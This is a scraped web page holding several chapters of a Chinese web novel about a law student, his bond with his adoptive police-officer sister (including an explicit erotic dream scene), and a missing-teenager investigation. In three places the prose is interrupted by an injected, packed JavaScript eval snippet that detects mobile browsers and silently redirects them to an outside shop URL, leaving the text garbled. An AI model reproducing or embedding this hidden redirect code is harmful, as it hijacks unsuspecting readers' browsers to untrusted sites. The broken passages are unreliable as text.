苏晏清自从入学的第一天,就发现自己从来不曾注意过的颜值居然成了一个巨大的负担。如果只是女生们的指指点点和捂嘴窃笑也就罢了,还有食堂和公共教室里莫名撞到身上的女生,随时随地的搭讪和索要微信号,约他打电竞,以及不知何时出现在书包里的奶茶和零食,一回到宿舍就被室友们抱怨屋里快塞不下的玫瑰花,那些盘旋在宿舍窗外偷拍的无人机……他可以无视表白墙上的疯言疯语,可以无视有人莫名其妙偷拍他的照片,但当有人开始用无人机偷他内衣,在公开场合扯他裤子,旱冰课上故意对他推推搡搡以致他险些摔倒,甚至辅导员跟他说有人成立了他的粉丝后援会,组织了十几个五百人的微信群在里面兜售用他的头像做的人形立牌、T恤衫、钥匙链、手提包……还在抖音和小红书替他注册了账号,分享他的日常,说“要让资本看到我们苏家军的厉害,送我们哥哥成功出道……”他才意识到事情有些不可控了。 辅导员拿出几张纸来,“晏清你看,有人在网上以三十元一张的价格卖你的私人照片,还有女生在微信群里自称是你的小娇妻……当然,我相信你的为人,这一切肯定不是你搞出来的。如果你想打官司,我可以帮你联系律师。” “谢谢老师。”苏晏清宽容一笑,“其实,他们也只是一些喜欢我的本校同学。这样,我注册一个账号,把事情说清楚就算了。” 第二天,苏晏清在校园表白墙和抖音账号上发了一篇简短而真挚的声明: 大家好,我是苏晏清,山大法律专业大二的学生。很高兴大家喜欢我,谢谢你们。我只是个普通学生,只想专注学业,无意于做网红,更不想出道。大家的好意我心领了,求你们不要再为了买我那些所谓的周边而花钱,我从未授权给任何人制作出售关于我个人肖像的商品。请你们将买周边的钱用来给自己,给父母买礼物,把为我发声加油的力量用来赞美自己,为自己喝彩。如果在校园里认出了我,如果愿意的话,请大声地跟我打招呼,“晏清!”我们一起打篮球,我请你喝汽水。 这份声明刚挂到网上一分钟,点赞量就破万。苏晏清的个人账号迅速涨粉过五十万。评论区里除了一大群“跪求哥哥出道”的话题外,还有人在下面留言:晏清哥哥,听说你不住宿舍……有人说晏清哥哥在市中心有豪宅……有人说晏清哥哥是本地大户的私生子……屁嘞!晏清哥哥是寄养在外的京圈少爷,早晚要回家继承家族产业的…… 苏晏清无奈地摇头苦笑,那些人的搅扰并没有因他的包容退让而消散,反而变本加厉。上课尾随,偷他的教材,体育课怼脸拍,往他的书包里塞安全套和酒店房卡,打骚扰电话,钻到他宿舍衣柜里潜伏,在他的宿舍里安装针孔摄像头……在一次因为追拍险些造成追尾事件后,苏晏清终于忍无可忍,搜集证据向学工处进行举报。武鹤翔也派出公司法务团和山大交涉,终于将几个主要涉事者处以警告,开除学籍,留校察看等处罚以后,私生饭们收敛多了。因为他们终于知道了苏晏清身后是武家,他有财大气粗的养父养母,还有当刑警的姐姐。 然而,顶着这张惹是生非的脸,苏晏清依旧不敢光明正大地走在校园里,他只得日日戴着帽子口罩独自在校园里踽踽而行,连吃饭都不敢去食堂,只能端着泡面一个人躲到花圃角落里鬼鬼祟祟地活像只偷油的老鼠。 “晏清哥哥……” 一声细声细气地尖叫吓得苏晏清手里的泡面几乎扣在地上,但他没有理会,只得叹息道,“我不是跟你说了小组作业我来做吗?你放心去冲星耀就好了。” “嘿嘿,不是这个事!”李光明把手里的正新鸡排递给苏晏清,“来,光吃泡面有什么营养,吃点好的补补。清哥,你遗嘱写好了吗?” “写好了。身份、财产、分配、执行人、债权、股权、贵重物品、知识产权、保险,全都写写清楚了。” “妈呀,写得也太细了!”李光明叹道,“咱班别人写作业都是用人工智能,打印出来一份就是,就你一个人还坚持手写。” “手写有手写的好处,记得更牢一些。” “清哥,大二的体育选修课你选的啥?听说好多女生为了能跟你一起上课,特意去选的体育舞蹈,她们都盼着能当你舞伴呢。” “我选的太极拳。” “啊?我没听错吧!”李光明笑道,“那不是老头子打的吗?” “太极拳可是国粹,不分老少的。” “哎,不提他了!清哥,你说我暑假去哪里旅游好?”李光明的父母都是医生,家境属于中产。他平时虽学习算不上努力,确是个实打实的旅游狂人,曾创下“青春没有售价,硬座直达拉萨”的“铁腚”之旅。不过一下了火车又因受不了高反缺氧迅速改签火车票秒回。这次暑假即将到来,他看着自己四个月省吃俭用过了五位数的微信余额又坐不住了。“这好几十天的暑假,我不能天天在家当老鼠人吧?” 苏晏清想了想,“去九寨沟吧,中国水景之王。有一句话叫九寨归来不看水。” 李光明想了想,打开手机道,“是啊,景色的确不错,白色的雪山,青绿的草甸,蓝盈盈的海子,半天的云烟,还有变幻莫测的五色池……天哪!这儿的景色,能把人美哭!只不过,我觉得这样的景色,我不想自己去。” “嗯?为啥呢?” “这么美的景色,应该和未来的女朋友一起去。孤零零地欣赏美景,是流浪,是放逐,一起去欣赏圣洁的美景,是朝圣。” 苏晏清打开手机微信,往武厉枭的对话框里输入一句话:姐姐,你去过九寨沟吗? 等他反应过来,才发现自己做错了,姐姐在工作,不该打扰,想撤回也已经晚了。 李光明推了推他,“那天来宿舍给你收拾东西的两个人西装笔挺的,跟霸总小说里的管家似的,还说:帮晏清少爷收拾行李。学校表白墙里还有人说你被富婆包养,我跟他们好顿对骂。” 苏晏清淡然地笑了笑,“谢谢你啊。” “哎哎哎,你家里……应该挺有钱吧,”李光明一脸羡慕道,“我看你回来后这衣服,手机,全不一样了。真是鸟枪换大炮啦!你看你现在穿的鞋,零度,沙驰,路易圣戈希……连被子都是鹅绒的……” “嗯?我姐给我买的,我也不知道……” “我跟你说,咱们男生啊,衣服穿得怎么样,那是排在后面的,第一位就是鞋,第二位是车。就你这双零度的白色跑鞋,最起码一千。还有这双耐克的跑鞋,妈呀,我高考过了一本线我妈都不给我买。你那双鞋要是放在咱宿舍,刘国君那逼人绝对得天天钻心抹眼地惦记着试穿。不过呀,你啥时候穿衣服风格也改了,以前你不是校服就是大棉布衫子,现在咋还穿起古装了呢,跟我爷爷他们的太极拳表演队汇报演出似的。” 苏晏清不禁哑然失笑,没错,王玉梅的禾锦图腾品牌公司隔三岔五地就送新衣服过来,什么亚麻重工刺绣立领衬衫,暗纹盘扣对襟男士茶服,水墨画运动卫衣套装……件件都鲜亮瑰丽。每次助理送衣服时都让他试穿后拍照发给王玉梅,然后一个劲地夸他:“少爷您真是天选的国风美少年!” 二人正聊着,刘国君也突然神秘兮兮地窜了过来,“嘿,义子们,聊啥呢?” “聊清哥的衣服呢。” “晏清爱子的衣服的确时尚,不过我最受不了的,就是这个逼动不动就拿着手机自己一个人嘿嘿傻乐,乐得跟吃了蜜蜂屎似的。我一个有女朋友的人都没他那么黏糊。对了,晏清我儿,你是不是跟人网恋了?” 其实,苏晏清笑的是武厉枭给他买的带吸管的汽车杯,太阳形棒棒糖,奥特曼书包,带大恐龙的冲锋衣……还一脸茫然道,“我看同事家的宝宝都喜欢这些……” “姐姐,你同事家的是小宝宝,我是个十九岁的大宝宝。” “嗯?我怎么还是觉得你才四岁?还是那个晚上要跟我一起睡的小宝宝,我还没接送你上学放学,没给你检查作业,没带你出去旅游,没给你开过家长会……你怎么这么快就长大了呢……” 苏晏清不接口,“你不给你女朋友当跟班,怎么有空找我们聊天?” “别提了,你们的义母看热闹呢,那边舞蹈学院的两个男生为争一个女生干起来了,皮带都打断一条。” “啊?”苏晏清道,“没人叫保安吗?” “叫了保安,必通知辅导员,到时候可影响毕业证。” 李光明眼珠子一转,“我去拉开他们。” 苏晏清道,“你去拉,他们打你怎么办?” “嘿嘿,”李光明边走边说,“清哥你专业课那么强,你帮我辩护,最少两万啊。明儿我贴个纹身:哥是体育生,敢打我,讹飞你裤衩子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849728|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 刘国君也追了上去,“光明爱子,纹身链接分享给为父我……对了,你还需要一个证人,到时候分我三分之一啊……” 苏晏清的手机突然响了。他打开一看,是王芳华给他微信留言:我在你们学校门口的爱梦林咖啡厅,你出来一下。 苏晏清来到爱梦林,王芳华已经在雅间里等他了。她铁青着脸,把手机举到苏晏清面前,“你给我解释解释怎么回事?” 苏晏清仔细一看,是赵淮晋把那天他请武厉枭姐弟吃饭的照片发到朋友圈里了,配文:我的厉枭妹妹和她弟弟。 “你什么意思?你什么时候成了厉枭的弟弟?” “芳华姐,我本来就是她弟弟。” “那天吃饭的时候又是怎么回事?” “您没听到我姐的那句话吗?替你芳华姐拿着。这是我姐在吩咐我,做人要有眼色,为长辈服务。” “你姐知道你冒充我男朋友?” “知道,但这不是故意冒充,是我在做社会研究课题。” “社会研究课题?” “对,您知道我是学法律的,我需要做社会性调研,写进论文里,还差一点案例和数据。刚好您看到您在网上发布消息,我问过我姐的意思,她同意了,我就去了。不信,您去问我姐。” 王芳华打死也不敢问武厉枭,“可那天所有同学都知道了,你是以我男朋友的身份去的。如今,赵淮晋的朋友圈一发,你又成了厉枭的弟弟,你让我的面子往哪儿放?” “您放心,您的同学们都是警察,工作又忙,没人会注意到。有人问起,你就说你看不上我,把我甩了。” “你是厉枭的弟弟,是武家的养孙。你知道武家是什么地位吗?在清末的时候就在瑞士花旗银行存过万两黄金的人家!厉枭又是上过电视的英雄!这事传出去,让人知道我居然……居然敢撩厉枭的弟弟,你让我出去还怎么混?怎么做人?我那些老同学怎么看我?” “您放心,丢人也是我丢人。”苏晏清给王芳华转账一千五百块钱,“这钱退您,怪我不好,应该早就跟您说明白了,我是去做调研。” “我不要这个钱,如今你害我这么丢人,谁来赔我这个损失!” “我是学法律的,将来会做律师。这样,我答应您,如果将来您公司有需要处理的法律纠纷,我帮您免费处理五桩。这样可以吗?” 王芳华冷笑道,“我也有律师执照,还用你帮我打官司?” “律师专攻的法律也不一样。您读的是警校,专攻的是刑法和民法。而我专攻的经济、金融、知识产权方面的法律。您如今自己做生意,想必少不了这方面的法律资助。据我所知,一个成熟的公司肯定要有自己的专属律师,我叔叔的公司就有自己的法务团队。所以,我帮您免费处理五桩,您看怎么样?” “你真的能做到?” “我以我姐的名义发誓,如果我做不到,就让我姐把我痛打一顿,赶出家门,流落街头,再被车撞。” 王芳华翻了个白眼,“行了行了,要不要这么恶毒!好像我是来纠缠你一样!”她瞥了一眼苏晏清腕上的银白色布加迪机械潜水表,“呦,表不错呀!当上了武家的少爷就是不一样。上次陪我吃饭挣的那点钱,都买不了现在一块表。” 苏晏清沉静地笑笑,“我前几天过生日,我姐送给我的。” “你姐对你那么好,还让你出来冒充别人男朋友?” “我姐知道我出来做社会实践,干正事,她很支持我的。” “支持到你刚当上武家养子没几天,就戴两千多的手表?” “我姐说:戴块手表,考试的时候看时间方便。戴着手表也为了提醒我别在外面贪玩,早点回家。” 王芳华喝了口茶,“其实啊,我也有弟弟,是我表弟,跟你差不多大。去年暑假他来我家住了两个星期,哎呀,把我家床垫子都睡黄了,那味儿呀,都得消毒!怪不得都叫臭男生臭男生呢!厉枭就这么放心让你一个大男生住到自己家里?” 苏晏清笑了笑,“芳华姐,您觉得我臭吗?” “不臭,你香,但是你看着香气扑鼻,沁人心脾,实际上,会呛鼻子。” “姐,谢谢你对我容貌和气质的赞美,我很荣幸。” “哼!”王芳华冷笑道,“你可挺不要脸呀!” 苏晏清心平气和道:“我的脸属于人格权,人格权属于绝对权,不是别人给的,你只负有不侵犯的义务。我这脸针对的是世界上的不特定的人都有不侵犯的义务。 22. 苏晏清的梦 王芳华刚走,苏晏清接到了武爷爷的电话:“晏清,今晚早点回家,你姐姐刚才打来电话说,要回家吃晚饭,我让老黄媳妇多做点菜。” “好,那我早点回去,帮黄奶奶做饭。” 苏晏清最近又琢磨出来了两款贝果糕点,一款由蓝紫、青白、橘黄、绯霞四种颜色组成,恍若火烧云流满天际的颜色,故而命名为“暮日”。另一款是青绿朦朦的低饱和色,看起来甚是养眼,取名为“叠峦”。 武家院子里永远是花团锦簇的,茶梅、龙梅、结香、金木棉、风铃木开得繁艳绚丽。苏晏清系着围裙在厨房里忙碌着,夕阳照在窗外银杏的一处枝上,扇叶簌簌攒簇,好像栖满了金蝶。 黄奶奶笑道,“晏清,想不到你还会做葱烧海参呢!这菜可不好做了。” “刚才爷爷拿出来一盒海参,离保质期还有两个月,说是姐姐买给他的,他一直没舍得吃。我就说今天做一盘给爷爷补补身体,姐姐最近查案也很辛苦,爷爷同意了。” 苏晏清将熬得金黄澄亮的鸡汤撇去浮油,和海参、葱段一起用文火炖煮。不多时,浓郁的汤汁将香气洒满整个院落,赶回来的武厉枭一头钻进厨房里,扒着苏晏清肩膀问,“做什么好吃的呢?” 苏晏清夹起一只海参吹了吹,喂给武厉枭,“尝尝,小心烫。” 武厉枭咬了一小口,笑着点头,“好吃。” 苏晏清把剩下的半只海参放到嘴里,皱眉道,“没有弹性,鲜味不足,全是鸡汤的味道……”他拿过海参的包装盒仔细看了一下,“姐姐,这可能是假货,我明天拿去学校的检测机构检验一下,好吗?今天这道菜,就倒掉吧。” 武厉枭点点头,“好,都听你的。”又把自己剥的一小碗虾仁都倒进了苏晏清眼里,“宝宝吃虾。” 苏晏清脸色一窘,不安地看了一眼武月直和老黄夫妇二人,小声提醒道,“姐姐……” 武厉枭却满不在乎地用纸巾给他擦擦嘴,“你小时候呀,可喜欢吃我做的白灼虾了。有一次我喂你吃饭,你一个劲地说:大虾仁,大虾仁……哎呀,那顿饭你吃了十几个大虾仁。还有啊,我给你做的红枣小米粥,你只肯吃红枣,不肯吃粥。那红枣虽甜,但吃完了渴,总要喝水。后来你午睡的时候就尿了床……哈哈哈……” 几天后,山大化工学院检测中心给苏晏清反馈了结果——果然是劣质海参。苏晏清去找了这家网店的老板理论,没想到店铺老板态度十分嚣张:我们的海参没有任何质量问题,你是拿着假检测报告碰瓷!平台也拖延处理。苏晏清无奈,便一纸诉状把商家告上法庭。法院判决商家退回购物款3155元,十倍赔偿款31550元,自己600元检测费用。收到判决书的商家迅速更换店铺的法人主体,苏晏清立刻用《物权法》追加诉讼,这家网店便索性关闭。苏晏清向市场管理局和市长热线举报,一周后,商家将全部赔偿款打到了苏晏清账户上。 苏晏清将这四万多块钱转账给了武厉枭,武厉枭笑着收下了,又转回了五千元给他,“算是付你的律师费,未来的律政先锋。” “姐姐,你不是我的当事人,我是给自己家办事。” “拿着,你早晚要出来接案子,算是姐姐帮你开个张。” 苏晏清握着武厉枭的手,一本正经道,“我不是把这件事当成一个案子来做,我只想保护姐姐。”他把嘴凑到武厉枭的耳边,“我只想豁出性命来保护姐姐,任何伤害你一丁点儿的事,我都不允许它发生。” 月光照进苏晏清的窗棂,他闻到了武厉枭发丝间湿漉漉的玫瑰香气,如一只细巧的爪子挠着他的心房。他摸了摸武厉枭的头发,“姐姐,头发没有吹干,睡觉会头晕的。我来帮你吹头发吧。” “好。”武厉枭坐到镜子前,苏晏清打开吹风机,撩起她柔软的发丝,细细地吹着。一阵阵热气熏得他眼眶酸涩,几乎要落下泪来。 “宝宝,你有没有喜欢的女生啊?” “我……没考虑过这个……” “姐姐知道,你学习压力大,任务重。不过恋爱呢,也是一件美好的事。你要是有喜欢的女孩,就跟我说。姐姐支持你。” “姐姐,你有喜欢的男孩吗?” “我……”武厉枭轻轻一笑,“你说谁呀?” “新民哥那个人……老实巴交的,看起来脾气很好,忠实可靠。淮晋哥,人很帅,也很有风度,聪明又有品味……” 武厉枭笑着刮了一下他的鼻子,“最帅最聪明最可靠的,是我的清宝宝。你干嘛提他们两个外四路的,多煞风景!难不成你不想姐姐多陪你,这么快就想把我嫁出去?” “没有没有。”苏晏清慌忙搂住武厉枭的腰,把头靠在她肩膀上,“姐姐,我希望你一直陪着我,我也想一直陪着你。” “宝宝,”武厉枭转过身来,双手捧起他的脸,语重心长道,“你听姐姐跟你说。我的工作性质……太危险了……爷爷只有我一个孙女,爸爸妈妈也只有我一个女儿。姐姐希望你答应我一件事。” “什么事?” “如果我殉职牺牲,你要改姓武,做爷爷的亲孙子,做爸爸妈妈的儿子,继承荣宝斋,继承爸爸妈妈的事业,替我尽孝,替我传宗接代,能做到吗?” “姐姐……”苏晏清的眼泪“唰”地一下子落了下来,紧紧抱住武厉枭哭道,“不……我不让你牺牲……姐姐……求求你……你要长命百岁地活着……” “乖,宝宝不哭,姐姐答应你,不会牺牲的。”武厉枭拉着苏晏清坐下,把他的头抱在怀里,“姐姐可是武英级运动员,怎么会牺牲呢!我要看着宝宝长大,娶媳妇呢!”她抓起苏晏清的手,蒙在自己的脸上,“宝宝,看姐姐……猫——再看姐姐……猫——” 苏晏清被她的幼稚举动逗得破涕为笑,“姐姐……你真是……” “好了,宝宝不哭了,躺到床上去睡觉觉好不好?” 苏晏清拉着她的手道,“姐姐,你为什么总把我当小孩来哄?” “因为你就是小宝宝呀!” 苏晏清却撩起衬衫的下摆,一把拉过武厉枭的手,按在自己的腹肌上,“姐姐,你看看,我还是小宝宝吗?自从你上次问我有没有腹肌,我就一直在锻炼。姐姐,那个淮晋哥就有腹肌,对吗?但是我比他更年轻,能练出你更想要的腹肌。” 武厉枭连忙缩回了手,面红耳赤地嗫嚅道,“你这孩子,胡说什么呢!” “姐姐,”苏晏清捋了捋她的头发,“我会为你变成……你想要的任何样子……” 武厉枭不知道的是,自从上次她问苏晏清有没有腹肌,他就每天五点钟起床,跑步、练卷腹、平板支撑……每天最少两百个俯卧撑。李光明有时看不下去了,会出言阻止:“清哥你生病刚好,不要命了?” “就是,”刘国君附和道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849729|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 你天天在自习室里学到闭馆才回宿舍,还这么健身,怎么着?这是有追求的目标了?” “没有,别胡说……” “清哥,大学生活是用来享受的,不是用来拼命的,relax一些好吧?不要那么卷,你已经让我们这些平凡的人挺没活路了,不要连死路也堵上吧?” “就是啊晏清,看你这早起早睡每天锻炼身体的生活方式,哪像个年轻人啊?有时候为父我都怀疑你心理年龄得有四十岁……” “哈哈哈……国君,那你这兽还好意思为父为父的吗?你得叫他清叔……” “靠!光明我儿,看来为父又得执行家法了……” 深夜,苏晏清在梦中回到了望口村花木扶疏的吴家大宅,女贞落起了碎金疾雨,绿油油的柚子挂满了枝头,三角梅如一团红色的烟云,七彩的月季如霓虹般炫彩斑斓。苏晏清沿楼梯而上——武厉枭的外婆家,也是他幼年时的天堂。那里没有吵骂殴打,没有冷言冷语,没有眼泪和抱怨。那里只有吴家阿婆的慈爱,有姐姐的温柔呵护,有数不尽的好吃的好玩的,漂亮的衣服和香香。他来到南面那间光芒四射的屋子里。茶几上总是摆着他爱吃的花生梅饼和红豆羹,沙发上的海绵垫子和抱枕,童年时的姐姐经常用来搭成拱桥让他钻,要不就是搭成飞机带着他飞。“宝宝,我们坐宇宙飞船啦……”那粉蓝金丝绒流苏窗帘,他无处次躲在里面和姐姐捉迷藏。“宝宝,你在哪里呀……”姐姐每次都要找一会儿才能找到他,“笨宝宝,你为啥每次都把小脚丫露在窗帘外面?” 苏晏清“咯咯”地笑,“我怕姐姐找不到我呀……” 一身警服的姐姐已经煮好了鳕鱼鲜虾面等着他,对着他春风满面地笑,“宝宝,肚肚饿了吧?姐姐喂你吃面面……” 十九岁的苏晏清扑过去把武厉枭抱在怀里,“姐姐,你先回来了,怎么不等我?” “我要给你这个馋猫猫煮面面呀,快吃,姐姐待会儿带你去小卖店买糖糖,买车车。” “姐姐,”苏晏清急切地握住她的肩,“你好好看看我,求你了,我已经十九岁了,我是成年人了……” 武厉枭摸着他的脸,“是啊,清宝宝已经是大孩子了……你怎么这么快就长大了?我还没给你买书包,没给你削铅笔,没给你戴红领巾,你怎么就长大了?我还没教你做数学题,听写生字呢?你中考那天有人送你吗?你高考的时候谁陪你去的?填志愿的时候有人帮你吗……姐姐不在,你孤零零的一个人,有人照顾你吗……” “我不是孩子,我是男人,枭枭姐姐……”苏晏清对着武厉枭的唇吻上去…… “宝宝……”武厉枭嘤咛一声,双手环住了他的脖子,“宝贝长大了……” “对,姐姐,我长大了……”热烈的吻如雨点般落在武厉枭的脖子,胸脯……苏晏清脱掉自己的上衣,把武厉枭的手拉到胸前,“姐姐,帮我变成真正的男人吧……” “宝宝……你真是……要人的命……” 武厉枭的衣服被剥光了,满面绯红地仰躺在床上,双腿环在他劲瘦的腰肢,“宝宝……我龙精虎猛的小活驴……来吧……撕碎我吧……” 苏晏清从梦中惊醒过来,心跳得几乎要飞起。他擦了擦满脸的冰冷的汗珠,羞红着脸躲到卫生间去洗了个澡。内衣和褥单上的印记让他眼泪滚滚而落,狠狠打了自己两个耳光,“苏晏清,你骨子里就是个罪人!” 23. 辛子诚失踪案 武厉枭最近快忙翻了天,本市的一对儿白领夫妻哭哭啼啼地来市局报案,说他们的独生子辛子诚失踪了24小时,可能被前班主任绑架了。 “失踪不意味着一定是绑架。” “我们孩子那么乖,那么单纯老实的孩子,怎么可能无缘无故失踪。警察同志你不知道,我们孩子四岁的时候,就会背伟人诗词。六岁的时候就看《红岩》,七岁的时候就开始学画画……” “你们怀疑孩子被绑架,那有什么怀疑对象吗?” “我们没有别的仇家,唯一有的,就是孩子的前班主任!” “前班主任?你们为啥肯定孩子是前班主任绑架的?” 那位丈夫说:“我们都是985大学毕业,很懂教育的,对孩子也很关注。我们摒弃了中式教育的过分约束和捆绑,给予孩子充分的尊重。孩子想拥有一台智能手机,我们也同意了。我们也不知道孩子会把手机带到学校去,他们班主任就留堂批评。我们也不知道他跟孩子说了什么,孩子八点钟都没回家。那我们大人心里着急,就给他打电话,语气急躁了些。后来孩子回来了,我们怕孩子生气,没敢多说什么。第二天就问他班主任,有没有问问孩子为啥回家那么晚?结果呢,他班主任居然没问。还有这样的人哪!学生回家那么晚,他居然不闻不问!我一生气,就去教育局举报他了……” 那个妻子接着说:“对,就是那个班主任干的!他故意打击报复我们孩子。上次我们孩子不过是气急了,骂了数学老师两句。他就骂我们孩子,孩子回家后把自己关在屋里哭,把我吓得要命,赶紧安抚孩子情绪。我们孩子自尊心强,爱面子,我很怕孩子出事的!” 武厉枭问:“那后来呢?” “后来我就……去教育局举报了他。” 丈夫接口道:“那个老师,何其恶毒!那次孩子体育课上摔伤了手,他给我打电话让我带孩子看病。我到了教室,孩子不在那里。我问他孩子在哪里,他说可能是手不疼了,就去上体育课了。我去操场上找,也没有。我又回到教室,发现孩子蹲在地上,我一开始是没看见。我问孩子为啥蹲着,他说太疼了。这个班主任多狠毒,孩子受伤了,他也不陪着,害得我楼上楼下找,孩子多疼了五分钟。我又去教育局投诉了他!” 妻子道,“后来,孩子回来说同学们都不爱跟他玩了。我就想去找班主任理论。没想到他们同事说,班主任请病假了。孩子说:班里有些同学说,班主任查出了抑郁症,经常在办公室无缘无故哭。大家都说是我们夫妻害的……这次孩子失踪了,整整一夜没回来,我们已经去派出所报警。派出所让我们回去等消息,现在孩子失踪了24小时,你们公安局得管呀!” 武厉枭拿出几张照片给那对夫妻,“这是派出所的同事在木兰江边发现的书包和自行车,是你们孩子的吗?” 那对夫妻看了看,大哭起来,“是……就是……完了完了,孩子肯定出事了……” 武厉枭摇头道,“二位,现在我们警方正在努力寻找孩子,你们不要太担心。我们警方给你们看的是监控拍到的照片,监控显示,辛子诚自己把书包和自行车丢在岸边,然后走开了。而且监控上只拍到了辛子诚一个人……” 那丈夫说:“你们警察不看新闻吗?市一中有个孩子就是这样,大晚上不回家,父母一打电话就摁掉。后来一夜没回家,第二天早上就自行车和书包就出现在木兰江边。搜救队去找,在河里捞出孩子的尸体……” 武厉枭让李大刚和魏三有做笔录,护送这对夫妻回去。 失踪人辛子诚,男,16岁,初二学生,独生子女,家庭条件优越,但本人成绩不好,行为习惯欠佳。据他的现任班主任说:辛子诚学习不努力,脾气执拗而暴躁,不遵守纪律,上课爱讲闲话。曾经一度和同学们关系不好,后来好转了,下课经常一起打篮球。上次上游泳课,体育老师发现他身上全是抠破的伤疤,都不肯让他下水。目前他的书包和自行车上发现了除他自己外很多人的指纹和脚印,不排除他有过被踢打的痕迹。孩子是星期五失踪的,一夜未归,家长去派出所报的警。 武厉枭接着把辛父辛母怀疑的前班主任的资料挂出来供队员们分析,“桑学勤,男,26岁,硕士毕业后进入市一中教初中数学。他家庭条件不大好,独生子,家中父亲上班赚钱,母亲不上班的。他性格内向,在学校里很少与人打交道。据他的同事们说:他带的这个班各科成绩都不好,每一门功课都比平均分第一名的班级少20分。为此,校长还多次批评过他,他也因此得了抑郁症,现在在康养中心治疗。” 新来的警员陆军平说:“队长,辛子诚身上全是伤疤,是不是被虐待过?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849730|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 武厉枭摇摇头,“不是,”她指着黑板上的照片,“这是游泳课上教练拍的集体照。你们看,辛子诚的疤痕小而密集,一看就是自己指甲抓破的。” 老警员易学友道,“我这里也有辛子诚班里同学提供的线索。这个姓陈的男孩说:他和辛子诚是小学同学,关系一直不大好,总是打架闹矛盾,还一度绝交。张同学的父母为此找过辛父辛母,说孩子们既然合不来,就不要在一起玩了。辛父辛母不同意,说如果小朋友都不理他,辛子诚会很难过。但即便如此,这两个孩子还是爆发过很激烈的打架事件,小陈曾故意把辛子诚的自行车锁起来不让他骑回家,辛子诚打过小张眼睛,用自行车锁勒过小张脖子。” 警员钱思海叹道,“现在的小孩打架可够猛的。他们班的小孙说:辛子诚有一次去他家玩,他不给开门,辛子诚就没完没了地砸门,还把他楼下电闸关了。他没办法,给辛子诚开了门。辛子诚还把他幼年时的光屁股照用手机拍下来,发到班级群里上了。” 警员山青道,“他们班的老师和同学普遍对辛子诚的评价都是:顽劣、心眼多、不爱学习,但他运动能力强,爱打篮球。他们英语老师说:没人敢管这个孩子,他会和老师呛声,然后回家跟爸爸妈妈说老师给他委屈受,他爸爸妈妈就去教育局告状。班里那几个个子小成绩差的,都被他打过。其中打得最狠的,就是他班的小常。那孩子智商低下,这么大了连自己几岁都说不上来,自己哪年出生的都不知道……” 武厉枭说:“据我的调查走访,辛子诚的父母都是白领,一个是铁路客运段的工程师,一个是房地产公司的经纪人,爸爸在单位里是出了名的老好人,谨小慎微怕得罪人。妈妈的性格风风火火,业绩突出,年年都是销冠,但从不跟人闹矛盾,也没有架子,对同事也很友善。若说唯一有过节的,也就是孩子的前班主任了。” 陆军平道,“前班主任桑学勤已经都得抑郁症了,他会绑架辛子诚吗?” 武厉枭道,“康养中心传来消息,桑学勤星期五那天已经出院。这样,军平,咱俩去桑学勤的家看看。学友,思海,你俩再去学校看看,调查一下关于桑学勤的事。山青,你继续关注搜救队那边的情况,问问木兰江那里有没有打捞出来什么。还有,再联系法证那边,看看辛子诚的书包和自行车上发现了什么线索。” 24. 破案中 武厉枭和陆军平去了桑学勤家,这是一栋本世纪初期投入使用的老旧家属楼。敲开门后,里面走出来一对老夫妻。武厉枭表明了来意后,老太太一脸不耐烦道,“谁是桑学勤,我不认识!”老头则呵斥道:“别胡说,跟警察说假话犯法!”又一脸堆笑地把他们往里让,“同志,请里面坐。” 武厉枭环顾了一下这间屋子,顶棚上的块块水渍应该都是楼上渗水导致的,拼接式的木质沙发,棕黄色的木质家具,嵌在窗户里的老式排气扇,都在昭示着一家人的时间仿佛停止了流动。 “大伯,听说学勤身体不好,已经辞职了,是吗?” 桑父叹气道,“是,这个孩子,好好的,得了什么抑郁症,我们也不懂,读完了大学,又考上了编制,吃了皇粮,还有啥不高兴的?” 桑母恨恨道,“要说不顺心,谁能顺心!家里本来就不富裕!我们是从乡下到城里打零工的。他爸一个建筑工地搬砖的,我在建筑工地做饭,辛辛苦苦供他读完了大学,还读了硕士研究生,考上了编制。结果呢,好好的固定工作,说不要就不要了。” 武厉枭道,“学勤回家了吗?” “没有,一直在郊区的康养中心养病,价钱贵着呢!老家的房子都卖了。” “学勤有没有说过他为啥心情不好得了抑郁症?” “没有,他不爱说单位的事。我俩又都没文化,他妈妈性子急,一句话不和就骂人……” “学勤平时有哪些好朋友没有?” “没有。学勤胆子小,平时在单位里都躲着人走。周末和寒暑假就在家待着,看看电视剧,玩玩手机,偶尔出趟门看看电影,也是自己一个人去。” “学勤有喜欢的女生吗?” 桑母冷笑道,“他那个德性,谁能喜欢他,闷哧闷哧的,活得两点一线。对了,他有个朋友,叫什么赵新民的,上次还来过我家。嘿嘿,两个人都一样,没嘴的葫芦,我看他俩是一个妈的。” 赵新民? 